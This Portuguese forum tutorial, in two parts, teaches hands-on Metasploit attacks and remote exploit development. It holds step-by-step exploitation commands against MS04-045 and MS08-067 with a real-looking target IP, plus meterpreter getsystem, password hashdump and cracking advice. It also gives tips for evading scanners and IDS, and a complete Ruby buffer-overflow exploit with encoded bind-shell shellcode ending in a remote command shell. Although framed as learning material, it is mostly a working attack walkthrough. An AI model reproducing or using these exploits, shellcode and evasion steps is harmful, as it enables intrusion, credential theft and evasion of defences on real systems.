Tutorial detalhado do Metasploit - Indispensável

O Metasploit é um framework criado por H.D.Moore, que serve para elaboração e execução de um repositório de exploits.

Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho realidade

Agora que todos já sabem o que é o Metasploit, vamos aprender a trabalhar com ele. Lembrando que este tutorial só tem o objectivo de aprendizagem, cada um é responsável pelos seus actos.
De qualquer forma, e devido a certos requesitos dos testes de intrusão deverão usar sempre proxy a não ser que usem um Lab com VM´s






Uma das coisas que hoje já existe no metasploit é uma interface gráfica via browser que simplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos (msfcl)
A interface gráfica é o msfweb - Interface gráfica via browser

Vou usar o linux mas há também a versão para windows. Então levando em consideração que tenham instalado no vosso PC e está a funcionar, vamos dar uma vista sobre a utilização desta SUPER PODEROSA FERRAMENTA... um sonho tornado realidade... para mim que ainda me lembro quando para fazer isto era preciso dezenas de tools e procedimentos... agora tá tudo integrado numa plataforma/framework.
Vou também ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados para que não possa ser usado como guia total para um ataque, visto cobrir todo o percurso de exploitation. Mas basta seleccionar outros exploits para as novas coisinhas...

Vejam também a, digamos, o irmão web que é a excelente w3af "Web Application Attack and Audit Framework."
Apesar do metasploit também estar preparado para ataques web, mas eu especializei-me nos dois e é melhor trabalhar com as duas em conjunto.

O metasploit possui várias ferramentas dentre elas: (e muitas mais para vocês explorarem... explorem os payloads, os exploits e todos os outros utilitários. Podem fazer-lo lendo ou explorando nos ficheiros ou com comandos do tipo "show payloads" ou "show exploits", entre outros.)

msfconsole - metasploit em modo console
msfcli - interface de automatização de penetração e exploração
msflogdump - exibe sessões de arquivos de log
msfplayload - usado para gerar payloads customizados
msfpescan - utilizado para analisar e descompilar executáveis e DLLs
msfencode - um codificador interactivo de payload encoder
msfupdate - utilizado para verificar e fazer download de actualização do framework
msfweb - Interface gráfica via browser

Hoje devido ao facto do metasploit estar na Rapid7 podem usar uma versão gratuita do detector de vulnerabilidades automático, o NeXpose Community Edition... ele detecta as vulnerabilidades e integra-se com o metasploit.





Nexpose (Detector de vulnerabilidades)
http://www.rapid7.com/vulnerability-scanner.jsp

Podem, como eu, usar o Nessus para isso ou outras ferramentas... hoje até o nmap têm scripts para detectar vulnerabilidades, que são a principal questão no exploitation... é a partir de uma vulnerabilidade que tudo acontece e precisam saber a versão exacta do software alvo e do SO... em alguns casos no windows até a língua em que o windows esta.
Algo essencial para se escolher o exploit certo é saber o serviço e a versão exacta do mesmo, pois os exploits são feitos nessa base. Para tal e se soubermos já que há uma vulnerabilidade para um apache 2 versão anterior à 2.15, podemos fazer um scan especifico com o Nmap a essa porta (80) para não dar nas vistas. É como se alguem tivesse a aceder ao site, pois apenas são enviados pacotes para a porta 80. Se fizerem um scan a todas as portas e houver algum equipamento de jeito no caminho vai detectar que é um scan e corta. Saibam o que procurar e não façam scans a todas as portas, a não ser que não haja qualquer equipamento especial, como acontece na maioria dos datacenters para as contas mais baixas. As mais usadas
.
Código :
Nmap –sT –P0 –A –version-all –T0 –p 80 ipalvo (o –T0 é para que haja maior espaço de tempo entre o envio de pacotes, para dificultar a detecção. Mas não é uma técnica de evasão e pode ser dispensado. O Nmap têm diversas técnicas de evasão, como spoofing, etc... explorem a documentação)





Nessus (Detector de vulnerabilidades)
http://www.nessus.org/nessus/
O Nessus é um motor que interpreta scripts em NASL (ver artigo meu na 3ª Edição - Julho de 2006 que explica melhor esta linguagem) e envia-os contra um ou mais alvos, fazendo um relatório dos resultados. Estes scripts procurar milhares de vulnerabilidades, mas apensa as conhecidas. Podem desenvolver os vossos próprios scripts NASL para coisas novas.

Voltando ao Metasploit, eu vou ensinar aqui a utilizar somente três destas ferramentas(msfconsole, msfcli, msfweb), pois acredito que um verdadeiro :smoke: aprenderá sozinho o restante... como sempre dou a base para futuras explorações. Ajuda ao ensino e evita script kiddies

msfconsole:
Primeiramente digita-se na linha de comando :
Código :
[root]#./msfconsole
se for no windows só digite msfconsole sem ./, continuando deverá aparecer algo como: (neste caso já foi usado o comando “show exploits” para se ter uma lista dos exploits. O comando show serve para outras coisas como payloads e opções. Ver em detalhe)





Para quem dá o primeiro passo pode executar o comando “help” para ver os comandos de consola. Atenção que isto são apenas os comandos de consola e não todas as suas funcionalidades.

Como vimos na primeira imagem do mestasploit e a nivel formativo, pois no mundo a sério já saberão que exploit usar, será: show [opção] (a opção poderá ser uma das que vos aparecerão senão digitarem nenhuma, como podem ver no exemplo em seguida

desta forma:

Código :
msf > show
msfconsole: show: requires an option: 'exploits', 'payloads', 'encoders', or 'nops'
msf >
Viram que apareceram as opções deste comando. O mesmo acontece com outros comandos, pois podem ir assim explorando a framework.

Para saberem quais os exploits que existem nesta framework (desde a ultima actualização, devem ir actualizando o metasploit que está em constante evolução) basta digitar o comando:

Código :
msf >show exploits;

Para saber os payloads que existem neste framework basta digitar o comando: show payloads e assim por diante.

Então dentro do ambiente do metasploit escolhemos o exploit assim com o comando “use”:



Código :
msf > use wins_ms04_045
msf wins_ms04_045 >
viram que eu escolhi o wins_ms04_045 e o prompt mudou . Utilizando para isto o comando: use

continuando...

Digitamos o nosso velho amigo : show , novamente para verificar quais atributos ele aceita . Vejamos:

Código :
msf wins_ms04_045 > show
msfconsole: show: specify 'targets', 'payloads', 'options', or 'advanced'
msf wins_ms04_045 >
Vimos aqui que ele aceita targets, payloads, options ou advanced.

Vamos verificar quais opções que este exploit já seleccionado aceita:

Código :
msf wins_ms04_045 > show options

Exploit Options
===============

Exploit: Name Default Description
-------- ------ ------- ------------------
required RHOST The target address
required RPORT 42 The target port

Target: Target Not Specified

msf wins_ms04_045 >
Este exploit aceita somente duas opções : o ip alvo e a porta alvo. 

Agora deves estar a perguntar... como faço para utilizar isto. Simples, basta configurar o que o exploit aceita (há diferenças entre exploits e cada vez mais, pois mais complexidade e vectores são adicionados, diferenciando cada vez mais os exploits), lembrando que onde estiver escrito required, significa que estas opções tem que ser configuradas obrigatoriamente para o exploit funcionar. Continuando...

Façamos assim:

Código :
msf wins_ms04_045 > set RHOST 200.126.35.34
RHOST -> 200.126.35.34
msf wins_ms04_04>

msf wins_ms04_045 > set RPORT 42
RPORT -> 42
msf wins_ms04_045 >
Vejam que utilizei a mesma porta que o valor por default...
Agora teremos que seleccionar o payload para o nosso exploit. O payload nada mais é que um software acoplado ao exploit para fazer as mais variadas tarefas.
Digitamos então o comando para saber os payloads suportados pelo nosso exploit: show payloads

Código :
msf wins_ms04_045 > show payloads

Metasploit Framework Usable Payloads
====================================

win32_adduser Windows Execute net user /ADD
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_ord Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

msf wins_ms04_045 >
Eu vou escolher o primeiro payload, que faz com que seja adicionado remotamente um utilizador no sistema windows (como tenho dito tanto sobre os payloads, hoje já há payloads para tudo e todos os SO´s… até uma shell especial para cracking que é o meterpreter)

O meterpreter é um complexo payload que é uma espécia de shell especial para cracking, com funcionalidades especificas para isso. Algo que já falei bastante também.

Documento onde é detalhado técnicamente o meterpreter:
http://www.nologin.org/Downloads/Papers/meterpreter.pdf

Caso queiram usar o meterpreter, na selecção do payload, escolham um com meterpreter, como por exemplo win32_reverse_meterpreter... isto vai criar uma sessão no alvo, com o meterpreter e como é reverse passa pelas firewalls, pois estas pensam que como vem de dentro da rede é confiável.

Assim:
Código :
msf wins_ms04_045 > set PAYLOAD win32_adduser jolie
PAYLOAD win32_adduser -> jolie
msf wins_ms04_045>
Vamos agora listar os sistemas operativos que serão os alvos: Utilizando o velho comando : show, só que agora assim: show targets

Código :
msf wins_ms04_045 > show targets

Supported Exploit Targets
=========================

0 Windows 2000 English

msf wins_ms04_045 >

Só temos uma opcao aqui, somente o windows 2000 em ingles é vulneravel, mas tudo bem...

msf wins_ms04_045 > set TARGET 0
TARGET -> 0
msf wins_ms04_045 >
tamos mesmo, mesmo, mesmo a um tirinho de caçadeira... valeu a pena chegar aqui... pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit, que é mais um pacote exploit (conjunto de várias coisas que antigamente se faziam em separado e com muito trabalho) do que somente um exploit.

Digite somente: exploit (lindo não? Isto é “disparar” o exploit em direcção ao alvo. ATENÇÃO. Só usar alvos virutais ou máquinas voças

Código :
msf wins_ms04_045 > exploit
E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.

O msfcli é utilizado para poder fazer tudo de uma só vez. Nao precisando do passo a passo descrito acima. Se nós ja conhecemos o exploit isto agiliza
muito o nosso trabalho na linha de comando digitamos assim:

Código :
[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 E
e vejam que faz a mesma coisa que no modo console.
Caso o exploit se direcione a um serviço sem previlégios especiais pode-se usar um exploit local para escalar previlégios ou os seguintes comandos do meterpreter. Atenção que neste caso terão de estar a usar o meterpreter (para isso terão na altura de selecção do payload escolher um especial com o meterpreter, como por exemplo win32_reverse_meterpreter)
E na sessão do meterpreter usem os scripts já existentes para isso, como apresento em baixo.

Código :
meterpreter> use priv
meterpreter> getsystem
Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras ferrametas geniáis, como o LophtCrack ou o Cain e Abel para crackar hashes de passwords.
Has passwords estão codificadas mas podem ser “sacadas” e posteriormente crackadas... garanto que conseguirão algumas que não sejam muito fortes, o que é muito normal.

Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer o download para depois as crackarem com algum dos programas anteriormente mencionados.

Código :
.MSFConsole
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST (meu Ip)
> set RHOST (Ip Remoto)
> exploit
> getuid
> hashdump
> use -f cmd -c
Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido.

Código :
meterpreter> download arquivo1 arquivo2 pastaDestino
meterpreter> upload arquivo1 arquivo2 pastaDestino
Para crackar as hashes eu uso o LOphtCrack. É só guardar o resultado do "hashdump" num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terão algumas passwords interessantes.

(investiguem também a familia Pwdump... muito interessante para certas situações.)



Quote
pwdump is the name of various Windows programs that output the LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM). In order to work, it must be run under an Administrator account, or be able to access an Administrator account on the computer where the hashes are to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.
http://en.wikipedia.org/wiki/Pwdump (aqui são explicadas as várias “cores” e “sabores” e seus links)

Vamos passar para uma forma ainda mais fácil. Garanto que o ppl mais windows vão adorar esta forma, que é um GUI (Grafical User Interface... mas no mundo dos exploits? Sim... vejam)

Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma pagina web, todas as funcionalidades aplicaveis estão lá.
Para acederem ao GUI do metasploit façam:

Código :
[root]#./msfweb
+----=[ Metasploit Framework Web Interface (ip:55555)
Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1... Mais a porta 55555

Seria assim: http://localhost:55555

E assim verão a magia desta ferramenta. Um rico GUI onde facilmente qualquer um pode configurar uma sessão completa, sem digitar comandos em consolas. Claro que no alvo vão (ou não) usar a consola, pois é mais...

Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente seleccionando.

Para complementar e devido a essas novas IPS e IDS que detectam padrões de tráfego e podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra dedicado às novas appliances PANDA
Com um tunnel SSH o tráfego vai encriptado e não é possível identificar o mesmo, o que vai dentro dessa sessão.
É uma das mais usadas técnicas de evasão.

Criando uma sessão meterpreter persistente sobre um túnel SSH (integrando com o metasploit)

Creditos
teckV

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

Criando Exploits com ajuda do Metasploit Framework

0x00: intro
Neste guia vou demonstrar como é possível criar exploits de maneira fácil,rápida e com a ajuda da Metasploit Framework 3.É verdade que uma grande quantidade de «script kiddies» usa o metasploit para correr payloads atrás de payloads sobre serviços que encontram a correrem servidores remotos, mas a verdade é que esta é também uma ótima framework para o desenvolvimento de exploits, seja ele para uso doméstico ou mesmo profissional, pois economiza tempo, esforço e oferece-nos um fantástico leque de ferramentas que serão introduzidas ao longo do guia.

0x01: software
Em termos de software irei usar:

• Metasploit Framework (www.metasploit.com)
• Immunity Debbuger (http://www.immunityinc.com/products-immdbg.shtml)
• um interprete de Ruby (http://www.ruby-lang.org/pt/ )
• uma servidor a correr Windows 2000, se bem que pode ser virtual (www.virtualbox.org)
• netcat (man netcat) 

Neste servidor estará a correr um servidor criado para este guia que poderei fornecer por mail.

0x02: requerimentos
Pretende-se neste guia explorar os buffer overflows remotos a uma máquina Windows utilizando o Metasploit 3 para ajudar a desenvolver o exploit. Será fácilentão para a compreensão do mesmo um conhecimento prévio de:

• conhecimento básico de assembly
• uma linguagem de programação à escolha para a escrita do exploit
• conhecimento básico sobre buffer overflows (estrutura da stack, damemória, registos, o ataque, etc..)
• saber usar um debugger

0x03: encontrar o EIP
Uma das técnicas normais para tentar criar um exploit de buffer overflow seria encontrar qual o tamanho da string para que fosse suficiente grande de modo aescrever por cima do RET address do programa.

Executamos o servidor a partir do Immunity, na máquina remota Windows, ecorremos o seguinte código na nossa máquina local:

sploit1.rbputs "A" * 100 + "\r\n"

 Obtendo:

#./sploit1.rb | nc 192.168.56.102 1974

Welcome to SNOW

Username:
 

O programa pára aqui a execução. Voltando ao debugger vê-se que eletrancou ao tentar executar, em EIP, o endereço 0x41414141, que são "AAAA":

E verificamos também no debugger que controlamos dois registos EBP e EIP.

Agora poderíamos ir modificando o número de A's introduzidos até que o fim da nossa string coincidisse exatamente com os 4 bytes do EIP. Isso seria bastante trabalhoso, mas com a ajuda do metasploit podemos descobrir qual olocal exacto do EIP sem recorrer a tentativa e erro.

Para isto usamos a ferramenta

patternoffset , que se encontra na pasta /tools/ da framework metasploit:

# ./tools/pattern_create.rb 100Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

 

Criamos assim uma string com 100 caracteres para nos ajudar a encontrar o sítio exato do EIP. Escrevemos agora o seguinte código para a usar:

sploit2.rbstringmeta ="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
puts stringmeta + "\r\n"

 

Reiniciamos o programa do servidor no debugger, corremos o nosso scriptsploit2.rb e obtemos no servidor, na janela do debugger:

Podemos agora retirar do valor do EIP o endereço: 0x41336341 . Este endereço pode ser introduzido noutra ferramente disponibilizada pelo metasploit, o

patternoffset. Esta ferramenta permite obter, a partir do resultado de uma string gerada pela patterncreate, o offset exato da cadeia de caracteres que procuramos, que faz parte dessa string:

# ./tools/pattern_offset.rb 0x41336341 10069

 

Descobrimos assim que o offset de bytes é 69, ou seja, o EIP está na posição69 da string que usamos, que foi gerada pelo metasploit, para criar o overflow.Geramos agora um script Ruby para substituír exatamente aqueles 4 bytes na posição 69 por um endereço que queiramos, para posteriormente o substituirmos pelo endereço do nosso payload do exploit.

sploit3.rbputs "A" * 69 + [0xf0daf0da].pack('V') + "\r\n"

 

Ou seja, 69 A's e depois um endereço arbitrário (o pack('V') é apenas uma função do Ruby para converter aquele endereço). Reiniciando novamente o programa no debugger no servidor e correndo o exploit na nossa máquina local obtemos o seguinte resultado:

Conseguimos assim escrever com sucesso no local exacto onde se encontra o EIP.

0x04: onde colocar a payload

Agora que conseguimos controlar a posição do EIP será necessário encontrar um local na memória onde possamos colocar a nossa payload.Os exploits remotos têm esta dificuldade acrescentada: não sabemos onde na memória estará o código, qual o espaço que temos para o guardar, já que poderão estar vários processos diferentes dos quais não temos conhecimento nem quando começam a executar.Para isso inventou-se uma técnica que é a de colocar no EIP o endereço de uma instrução simples que salte para um local de memória onde realmente possamos escrever.O pessoal da Microsoft pensou em nós e facilitou-nos a vida dado que, embora não possamos colocar lá o salto, podemos ir busca-lo a uma das bibliotecas(.DLL) que estejam a ser executados no topo da memória (que estão sempre nas mesmas posições o que nos facilitam bastante a vida, principalmente nos servidores Windows 2000 em que não mudam mesmo!).A técnica será então colocar em ESP (que podemos conhecer a posição exata visto que o enchemos com a nossa string criada pelo metasploit) o nosso código da payload e no EIP uma instrução "JMP ESP" que encontramos a ser executada por uma qualquer library do windows.Reiniciamos o programa e no debugger procuramos pelo opcode que forma"JMP ESP": FF E4. Abrimos o mapa da memória (Alt+M) e procuramos (Ctrl+L)pelo "FF E4" mas apenas nos endereços mais altos, onde se encontram as bibliotecas, pois essas não mudam de sítio nunca (obrigado Microsoft):

Podemos ver aqui no endereço : 0x7c2e7993 que temos então os nossos bytes para o JMP, oferecidos pela ADVAPI32.DLL :)Este será então o endereço que colocaremos no EIP para que ele execute o"JMP ESP". Falta-nos então saber qual será o endereço exato do ESP para colocarmos aí o nosso payload. Após a execução do sploit2.rb obtivemos os seguintes valores para os registos:

Como podemos verificar no ESP temos uma representação ASCII do conteúdo do ESP, obrigado Immunity Debugger, que é "c4Ac...", que era uma porção da string gerada pelo pattern_create.rb do metasploit. Utilizaremos novamente o pattern_offset para saber qual o offset em que se encontram, por exemplo, os quatro bytes "c4Ac":

# ./tools/pattern_offset.rb "c4Ac" 10073
73  

Ou seja, sabemos que o ESP está na posição 73 da nossa string. Imaginando que o nosso payload era um simples "INT 3", que a única coisa que faz é dizer ao debugger para parar ali, ou seja um debugging breakpoint, dado pelo código 0xCC podemos gerar o seguinte código:

sploit4.rbJMP_ESP=[0x7c2e7993 ].pack('V')

INT3 = "\xCC"puts "A" * 69 + JMP_ESP + "B"*4 + INT3 +"\r\n"

Reiniciamos o programa no debugger, corremos o nosso exploit na nossa máquina e:

Isto porque adicionamos 69 A's, chegando à posição 69 (EIP), colocamos o endereço da instrução "JMP ESP", adicionamos 4 B's, chegando à posição 73(ESP) colocamos o INT 3 e o debugger parou. Sabemos então que podemos colocar nesta posição o nosso payload.


0x05: gerando e codificando o payload

 O metasploit tem uma enorme e doentia base de dados de payloads para os vários sistemas operativos. O comando chama-se msfpayload:

# ./msfpayload -hUsage: ./msfpayload <payload> [var=val]<[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[D]ll|[V]BA|[W]ar>

 Existem praticamente 300 payloads diferentes, desde executar comandos,adicionar utilizadores, fazer spawn de uma shell, colocar uma backdoor àescuta, criar um executável e fazer o upload, etc.. etc.. é uma questão de explorarem. Nós iremos usar o mais simples chamado:windows/shell_bind_TCP que no fundo coloca uma shell na máquina remota à escuta na porta 4444 (por defeito, o que pode ser mudado).Estamos a programar em Ruby neste guia, mas esta utilidade gera o código,como podemos ver na ajudam para C, Perl, Java, um executável, um DLL, etc..utilizaremos então a opção "y" para gerar o código Ruby:

# ./msfpayload windows/shell_bind_tcp y

# windows/shell_bind_tcp - 341 bytes

# http://www.metasploit.com# LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=,# AutoRunScript=buf ="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +"\x6a\x00\x53\xff\xd5"

Mas como podemos ver, este shellcode contem opcodes proibitivos para quem está a tentar criar um exploit através de uma string: \x00 (nullbyte) que é usado para terminar qualquer string, \x0d (carriage return), \0x0a (new line), etc.. ouseja uma série de caracteres que deveríamos evitar, dado que estamos aexecutar em memória não nos podemos dar ao luxo que o programa, depois decorrer o exploit, encontre na memória um 0x00 e parar de executar o shellcode.Para isto existe a ferramenta msfenconde, também da framework metasploit,que codifica o código de forma a esconder estes tipos de caracteres com um código diferente. Por exemplo para esconder um incremento de 5 de uma variável, ele faz com que se incremente 5 vezes uma unidade a essa variável.Para isso teremos então de especificar quais os bytes que achamos que devem ser substituídos e também devemos, para isto, pedir ao msfpayload a shellcode em R(aw):

# ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"

[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)buf ="\x2b\xc9\xbe\x90\x99\xb6\x51\xb1\x56\xda\xde\xd9\x74\x24" +"\xf4\x58\x83\xc0\x04\x31\x70\x0c\x03\x70\x0c\x72\x6c\x4a" +
"\xb9\xfb\x8f\xb3\x3a\x9b\x06\x56\x0b\x89\x7d\x12\x3e\x1d" +"\xf5\x76\xb3\xd6\x5b\x63\x40\x9a\x73\x84\xe1\x10\xa2\xab" +"\xf2\x95\x6a\x67\x30\xb4\x16\x7a\x65\x16\x26\xb5\x78\x57" +"\x6f\xa8\x73\x05\x38\xa6\x26\xb9\x4d\xfa\xfa\xb8\x81\x70" +"\x42\xc2\xa4\x47\x37\x78\xa6\x97\xe8\xf7\xe0\x0f\x82\x5f" +"\xd1\x2e\x47\xbc\x2d\x78\xec\x76\xc5\x7b\x24\x47\x26\x4a" +"\x08\x0b\x19\x62\x85\x52\x5d\x45\x76\x21\x95\xb5\x0b\x31" +"\x6e\xc7\xd7\xb4\x73\x6f\x93\x6e\x50\x91\x70\xe8\x13\x9d" +"\x3d\x7f\x7b\x82\xc0\xac\xf7\xbe\x49\x53\xd8\x36\x09\x77" +"\xfc\x13\xc9\x16\xa5\xf9\xbc\x27\xb5\xa6\x61\x8d\xbd\x45" +"\x75\xb7\x9f\x01\xba\x85\x1f\xd2\xd4\x9e\x6c\xe0\x7b\x34" +"\xfb\x48\xf3\x92\xfc\xaf\x2e\x62\x92\x51\xd1\x92\xba\x95" +"\x85\xc2\xd4\x3c\xa6\x89\x24\xc0\x73\x1d\x75\x6e\x2c\xdd" +"\x25\xce\x9c\xb5\x2f\xc1\xc3\xa5\x4f\x0b\x72\xe2\x81\x6f" +"\xd6\x84\xe3\x8f\xc8\x08\x6d\x69\x80\xa0\x3b\x21\x3d\x02" +"\x18\xfa\xda\x7d\x4a\x56\x72\xe9\xc2\xb0\x44\x16\xd3\x96" +"\xe6\xbb\x7b\x71\x7d\xd7\xbf\x60\x82\xf2\x97\xeb\xba\x94" +"\x62\x82\x09\x05\x72\x8f\xfa\xa6\xe1\x54\xfb\xa1\x19\xc3" +"\xac\xe6\xec\x1a\x38\x1a\x56\xb5\x5f\xe7\x0e\xfe\xe4\x33" +"\xf3\x01\xe4\xb6\x4f\x26\xf6\x0e\x4f\x62\xa2\xde\x06\x3c" +"\x1c\x98\xf0\x8e\xf6\x72\xae\x58\x9f\x03\x9c\x5a\xd9\x0c" +"\xc9\x2c\x05\xbc\xa4\x68\x39\x70\x21\x7d\x42\x6d\xd1\x82" +"\x99\x36\xe1\xc8\x80\x1e\x6a\x95\x50\x23\xf7\x26\x8f\x67" +"\x0e\xa5\x3a\x17\xf5\xb5\x4e\x12\xb1\x71\xa2\x6e\xaa\x17" +"\xc4\xdd\xcb\x3d\xce"

Como se pode ver, às custas de um incremento no tamanho do shellcode,conseguimos o mesmo código mas sem os bytes que decidimos excluir para não inviabilizar o nosso ataque. Sinceramente acho isto puramente genial.Modificando assim o nosso exploit para uma versão final:

sploit5.rb
JMP_ESP=[0x7c2e7993 ].pack('V')PAYLOAD ="\x2b\xc9\xbe\x90\x99\xb6\x51\xb1\x56\xda\xde\xd9\x74\x24" +"\xf4\x58\x83\xc0\x04\x31\x70\x0c\x03\x70\x0c\x72\x6c\x4a" +"\xb9\xfb\x8f\xb3\x3a\x9b\x06\x56\x0b\x89\x7d\x12\x3e\x1d" +"\xf5\x76\xb3\xd6\x5b\x63\x40\x9a\x73\x84\xe1\x10\xa2\xab" +"\xf2\x95\x6a\x67\x30\xb4\x16\x7a\x65\x16\x26\xb5\x78\x57" +"\x6f\xa8\x73\x05\x38\xa6\x26\xb9\x4d\xfa\xfa\xb8\x81\x70" +"\x42\xc2\xa4\x47\x37\x78\xa6\x97\xe8\xf7\xe0\x0f\x82\x5f" +"\xd1\x2e\x47\xbc\x2d\x78\xec\x76\xc5\x7b\x24\x47\x26\x4a" +"\x08\x0b\x19\x62\x85\x52\x5d\x45\x76\x21\x95\xb5\x0b\x31" +"\x6e\xc7\xd7\xb4\x73\x6f\x93\x6e\x50\x91\x70\xe8\x13\x9d" +"\x3d\x7f\x7b\x82\xc0\xac\xf7\xbe\x49\x53\xd8\x36\x09\x77" +"\xfc\x13\xc9\x16\xa5\xf9\xbc\x27\xb5\xa6\x61\x8d\xbd\x45" +"\x75\xb7\x9f\x01\xba\x85\x1f\xd2\xd4\x9e\x6c\xe0\x7b\x34" +"\xfb\x48\xf3\x92\xfc\xaf\x2e\x62\x92\x51\xd1\x92\xba\x95" +"\x85\xc2\xd4\x3c\xa6\x89\x24\xc0\x73\x1d\x75\x6e\x2c\xdd" +"\x25\xce\x9c\xb5\x2f\xc1\xc3\xa5\x4f\x0b\x72\xe2\x81\x6f" +"\xd6\x84\xe3\x8f\xc8\x08\x6d\x69\x80\xa0\x3b\x21\x3d\x02" +"\x18\xfa\xda\x7d\x4a\x56\x72\xe9\xc2\xb0\x44\x16\xd3\x96" +"\xe6\xbb\x7b\x71\x7d\xd7\xbf\x60\x82\xf2\x97\xeb\xba\x94" +"\x62\x82\x09\x05\x72\x8f\xfa\xa6\xe1\x54\xfb\xa1\x19\xc3" +"\xac\xe6\xec\x1a\x38\x1a\x56\xb5\x5f\xe7\x0e\xfe\xe4\x33" +"\xf3\x01\xe4\xb6\x4f\x26\xf6\x0e\x4f\x62\xa2\xde\x06\x3c" +
"\x1c\x98\xf0\x8e\xf6\x72\xae\x58\x9f\x03\x9c\x5a\xd9\x0c" +"\xc9\x2c\x05\xbc\xa4\x68\x39\x70\x21\x7d\x42\x6d\xd1\x82" +"\x99\x36\xe1\xc8\x80\x1e\x6a\x95\x50\x23\xf7\x26\x8f\x67" +"\x0e\xa5\x3a\x17\xf5\xb5\x4e\x12\xb1\x71\xa2\x6e\xaa\x17" +"\xc4\xdd\xcb\x3d\xce"puts "A" * 69 + JMP_ESP + "B"*4 + PAYLOAD + "\r\n"

E podemos ver que não acontece nada. Abrindo outro terminal e tentando conectar à porta 4444:

# telnet 192.168.56.102 4444
Trying 192.168.56.102...Connected to192.168.56.102.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
